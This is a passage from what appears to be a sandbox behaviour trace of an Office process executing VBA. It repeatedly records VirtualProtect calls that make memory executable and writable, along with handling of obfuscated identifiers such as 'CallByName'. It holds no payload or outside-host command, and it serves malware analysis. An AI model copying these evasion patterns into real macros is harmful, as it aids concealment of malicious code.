0xffffffff [0099.486] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0099.486] GetCurrentProcess () returned 0xffffffff [0099.486] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0099.486] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.487] GetCurrentProcess () returned 0xffffffff [0099.487] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0099.487] GetCurrentProcess () returned 0xffffffff [0099.487] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0099.487] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.487] GetCurrentProcess () returned 0xffffffff [0099.487] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0099.487] GetCurrentProcess () returned 0xffffffff [0099.487] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, dwSize=0x14) returned 1 [0099.487] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.488] GetCurrentProcess () returned 0xffffffff [0099.488] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0099.488] GetCurrentProcess () returned 0xffffffff [0099.488] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0099.488] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.488] GetCurrentProcess () returned 0xffffffff [0099.488] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0099.488] GetCurrentProcess () returned 0xffffffff [0099.488] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 [0099.488] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.489] GetCurrentProcess () returned 0xffffffff [0099.489] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0099.489] GetCurrentProcess () returned 0xffffffff [0099.489] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0099.489] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.489] GetCurrentProcess () returned 0xffffffff [0099.489] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0099.489] GetCurrentProcess () returned 0xffffffff [0099.489] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0099.489] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.489] GetCurrentProcess () returned 0xffffffff [0099.489] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0099.490] GetCurrentProcess () returned 0xffffffff [0099.490] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0099.490] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.490] GetCurrentProcess () returned 0xffffffff [0099.490] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0099.490] GetCurrentProcess () returned 0xffffffff [0099.490] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0099.490] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.490] GetCurrentProcess () returned 0xffffffff [0099.490] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0099.490] GetCurrentProcess () returned 0xffffffff [0099.490] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0099.491] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975cc | out: lpflOldProtect=0x1975cc*=0x40) returned 1 [0099.491] GetCurrentProcess () returned 0xffffffff [0099.491] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0099.491] SetErrorMode (uMode=0x8001) returned 0x8001 [0099.491] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0099.491] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x693e0000 [0099.491] SetErrorMode (uMode=0x8001) returned 0x8001 [0099.492] GetProcAddress (hModule=0x693e0000, lpProcName=0x2c9) returned 0x695efe55 [0099.492] GetAsyncKeyState (vKey=3) returned 0 [0099.536] CRetailMalloc_Alloc () returned 0xcb257a0 [0099.536] memcpy (in: _Dst=0xcf94f48, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.536] memcpy (in: _Dst=0xcf95050, _Src=0x1978c4, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0099.536] memcpy (in: _Dst=0xcf94f48, _Src=0x197714, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.536] memcpy (in: _Dst=0xcf94f48, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.536] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2e85cc, cbMultiByte=8, lpWideCharStr=0x1144058c, cchWideChar=18 | out: lpWideCharStr="qWfCNVnD") returned 8 [0099.536] memcpy (in: _Dst=0xcb23454, _Src=0x11440588, _Size=0x16 | out: _Dst=0xcb23454) returned 0xcb23454 [0099.536] memcpy (in: _Dst=0xcf94f4c, _Src=0x1978dc, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0099.537] memcpy (in: _Dst=0xcf94f4c, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0099.537] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112e2d42, cbMultiByte=6, lpWideCharStr=0x1976c4, cchWideChar=7 | out: lpWideCharStr="VbGet") returned 6 [0099.537] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c2e1a, cbMultiByte=6, lpWideCharStr=0x197724, cchWideChar=7 | out: lpWideCharStr="VbGet") returned 6 [0099.537] memcpy (in: _Dst=0xcbedbd8, _Src=0xb3967f0, _Size=0x4 | out: _Dst=0xcbedbd8) returned 0xcbedbd8 [0099.538] memcpy (in: _Dst=0xcf94f50, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f50) returned 0xcf94f50 [0099.538] memcpy (in: _Dst=0xcf94f54, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f54) returned 0xcf94f54 [0099.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112e2d66, cbMultiByte=11, lpWideCharStr=0x1976c4, cchWideChar=12 | out: lpWideCharStr="CallByName") returned 11 [0099.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c2d9e, cbMultiByte=11, lpWideCharStr=0x197724, cchWideChar=12 | out: lpWideCharStr="CallByName") returned 11 [0099.539] memcpy (in: _Dst=0x1976ec, _Src=0x197760, _Size=0x8 | out: _Dst=0x1976ec) returned 0x1976ec [0099.539] memcpy (in: _Dst=0xcb4e898, _Src=0x1976ec, _Size=0x8 | out: _Dst=0xcb4e898) returned 0xcb4e898 [0099.539] CRetailMalloc_Alloc () returned 0xc837380 [0099.539] CRetailMalloc_Free () returned 0x1 [0099.539] memcpy (in: _Dst=0xcf94f48, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.540] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x96\x96\x97\x97\x97\x96\x96\x97\x96\x96\x96", cchCount1=-1, lpString2="\x96\x97\x96\x97\x96\x97\x96\x97\x96\x97\x96", cchCount2=-1) returned 1 [0099.540] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x96\x96\x97\x96\x97\x96\x97\x96\x96\x96\x97", cchCount1=-1, lpString2="\x96\x97\x96\x97\x96\x97\x96\x97\x96\x97\x96", cchCount2=-1) returned 1 [0099.540] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112e2d8e, cbMultiByte=12, lpWideCharStr=0x1976c4, cchWideChar=13 | out: lpWideCharStr="–—–—–—–—–—–") returned 12 [0099.540] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c2fca, cbMultiByte=12, lpWideCharStr=0x197724, cchWideChar=13 | out: lpWideCharStr="–—–—–—–—–—–") returned 12 [0099.540] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c2fca, cbMultiByte=12, lpWideCharStr=0x197724, cchWideChar=13 | out: lpWideCharStr="–—–—–—–—–—–") returned 12 [0099.540] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c2fca, cbMultiByte=12, lpWideCharStr=0x197724, cchWideChar=13 | out: lpWideCharStr="–—–—–—–—–—–") returned 12 [0099.540] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x96\x96\x97\x97\x97\x96\x96\x97\x96\x96\x96", cchCount1=-1, lpString2="\x96\x97\x96\x97\x96\x97\x96\x97\x96\x97\x96", cchCount2=-1) returned 1 [0099.540] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x96\x96\x97\x96\x97\x96\x97\x96\x96\x96\x97", cchCount1=-1, lpString2="\x96\x97\x96\x97\x96\x97\x96\x97\x96\x97\x96", cchCount2=-1) returned 1 [0099.542] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c2fca, cbMultiByte=12, lpWideCharStr=0x197724, cchWideChar=13 | out: lpWideCharStr="–—–—–—–—–—–") returned 12 [0099.542] CRetailMalloc_Alloc () returned 0xc8e6c88 [0099.542] _mbscpy_s (in: _Dst=0xc8e6c88, _DstSizeInBytes=0xc, _Src=0x111c2fca | out: _Dst=0xc8e6c88) returned 0x0 [0099.543] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a0a9a, cbMultiByte=19, lpWideCharStr=0x197734, cchWideChar=20 | out: lpWideCharStr="_B_var_–—–—–—–—–—–") returned 19 [0099.543] _mbscpy_s (in: _Dst=0x19779c, _DstSizeInBytes=0xc, _Src=0x111c2fca | out: _Dst=0x19779c) returned 0x0 [0099.543] CRetailMalloc_Free () returned 0x1 [0099.543] memcpy (in: _Dst=0xcf95050, _Src=0xcf95050, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0099.543] memcpy (in: _Dst=0xcf94f48, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.543] memcpy (in: _Dst=0xcf94f4c, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0099.543] memcpy (in: _Dst=0xcf94f48, _Src=0x197714, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.543] memcpy (in: _Dst=0xcf94f48, _Src=0x197714, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.543] memcpy (in: _Dst=0xcf94f48, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.544] memcpy (in: _Dst=0xcf94f48, _Src=0x1978a8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0099.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x6961ded0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0099.544] memcpy (in: _Dst=0xcb2588c, _Src=0x197944, _Size=0x18 | out: _Dst=0xcb2588c) returned 0xcb2588c [0099.545] CRetailMalloc_Realloc () returned 0xcb257a0 [0099.545] CRetailMalloc_Free () returned 0x1 [0099.545] GetCurrentProcess () returned 0xffffffff [0099.545] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0099.545] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.546] GetCurrentProcess () returned 0xffffffff [0099.546] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0099.546] GetCurrentProcess () returned 0xffffffff [0099.546] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0099.546] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.546] GetCurrentProcess () returned 0xffffffff [0099.546] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0099.546] GetCurrentProcess () returned 0xffffffff [0099.546] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0099.546] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.547] GetCurrentProcess () returned 0xffffffff [0099.547] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0099.547] GetCurrentProcess () returned 0xffffffff [0099.547] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0099.547] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.548] GetCurrentProcess () returned 0xffffffff [0099.548] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0099.548] GetCurrentProcess () returned 0xffffffff [0099.548] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0099.548] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.548] GetCurrentProcess () returned 0xffffffff [0099.548] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0099.548] GetCurrentProcess () returned 0xffffffff [0099.548] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0099.548] VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.549] GetCurrentProcess () returned 0xffffffff [0099.549] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0099.549] GetCurrentProcess () returned 0xffffffff [0099.549] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0099.549] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.550] GetCurrentProcess () returned 0xffffffff [0099.550] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0099.550] GetCurrentProcess () returned 0xffffffff [0099.550] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0099.550] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.550] GetCurrentProcess () returned 0xffffffff [0099.550] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0099.550] GetCurrentProcess () returned 0xffffffff [0099.550] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0099.550] VirtualProtect (in: lpAddress=0xcaf39ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.551] GetCurrentProcess () returned 0xffffffff [0099.551] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0099.551] GetCurrentProcess () returned 0xffffffff [0099.551] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0099.551] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.551] GetCurrentProcess () returned 0xffffffff [0099.551] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0099.551] GetCurrentProcess () returned 0xffffffff [0099.551] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0099.551] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.552] GetCurrentProcess () returned 0xffffffff [0099.552] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0099.552] GetCurrentProcess () returned 0xffffffff [0099.552] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0099.552] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.552] GetCurrentProcess () returned 0xffffffff [0099.552] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0099.552] GetCurrentProcess () returned 0xffffffff [0099.552] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0099.552] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.553] GetCurrentProcess () returned 0xffffffff [0099.553] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0099.553] GetCurrentProcess () returned 0xffffffff [0099.553] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0099.553] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.553] GetCurrentProcess () returned 0xffffffff [0099.553] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0099.553] GetCurrentProcess () returned 0xffffffff [0099.553] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0099.553] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.554] GetCurrentProcess () returned 0xffffffff [0099.554] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0099.554] GetCurrentProcess () returned 0xffffffff [0099.554] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0099.554] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.554] GetCurrentProcess () returned 0xffffffff [0099.554] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 [0099.554] GetCurrentProcess () returned 0xffffffff [0099.554] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0099.554] VirtualProtect (in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.555] GetCurrentProcess () returned 0xffffffff [0099.555] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0099.555] GetCurrentProcess () returned 0xffffffff [0099.555] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0099.555] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.555] GetCurrentProcess () returned 0xffffffff [0099.555] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0099.555] GetCurrentProcess () returned 0xffffffff [0099.556] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0099.556] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.556] GetCurrentProcess () returned 0xffffffff [0099.556] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0099.556] GetCurrentProcess () returned 0xffffffff [0099.556] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0099.556] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.557] GetCurrentProcess () returned 0xffffffff [0099.557] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0099.557] GetCurrentProcess () returned 0xffffffff [0099.557] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0099.557] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.557] GetCurrentProcess () returned 0xffffffff [0099.557] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0099.557] GetCurrentProcess () returned 0xffffffff [0099.557] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0099.559] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.559] GetCurrentProcess () returned 0xffffffff [0099.559] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0099.559] GetCurrentProcess () returned 0xffffffff [0099.559] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0099.559] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.560] GetCurrentProcess () returned 0xffffffff [0099.560] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0099.560] GetCurrentProcess () returned 0xffffffff [0099.560] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, dwSize=0x14) returned 1 [0099.560] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.560] GetCurrentProcess () returned 0xffffffff [0099.560] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0099.560] GetCurrentProcess () returned 0xffffffff [0099.560] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0099.560] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.561] GetCurrentProcess () returned 0xffffffff [0099.561] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0099.561] GetCurrentProcess () returned 0xffffffff [0099.561] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 [0099.561] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.561] GetCurrentProcess () returned 0xffffffff [0099.561] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0099.561] GetCurrentProcess () returned 0xffffffff [0099.561] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0099.561] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.562] GetCurrentProcess () returned 0xffffffff [0099.562] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0099.562] GetCurrentProcess () returned 0xffffffff [0099.562] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0099.562] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.562] GetCurrentProcess () returned 0xffffffff [0099.562] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0099.562] GetCurrentProcess () returned 0xffffffff [0099.562] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0099.562] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.563] GetCurrentProcess () returned 0xffffffff [0099.563] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0099.563] GetCurrentProcess () returned 0xffffffff [0099.563] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0099.563] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.563] GetCurrentProcess () returned 0xffffffff [0099.563] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0099.563] GetCurrentProcess () returned 0xffffffff [0099.563] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0099.563] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0099.564] GetCurrentProcess () returned 0xffffffff [0099.564] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0099.564] SetErrorMode (uMode=0x8001) returned 0x8001 [0099.564] _stricmp 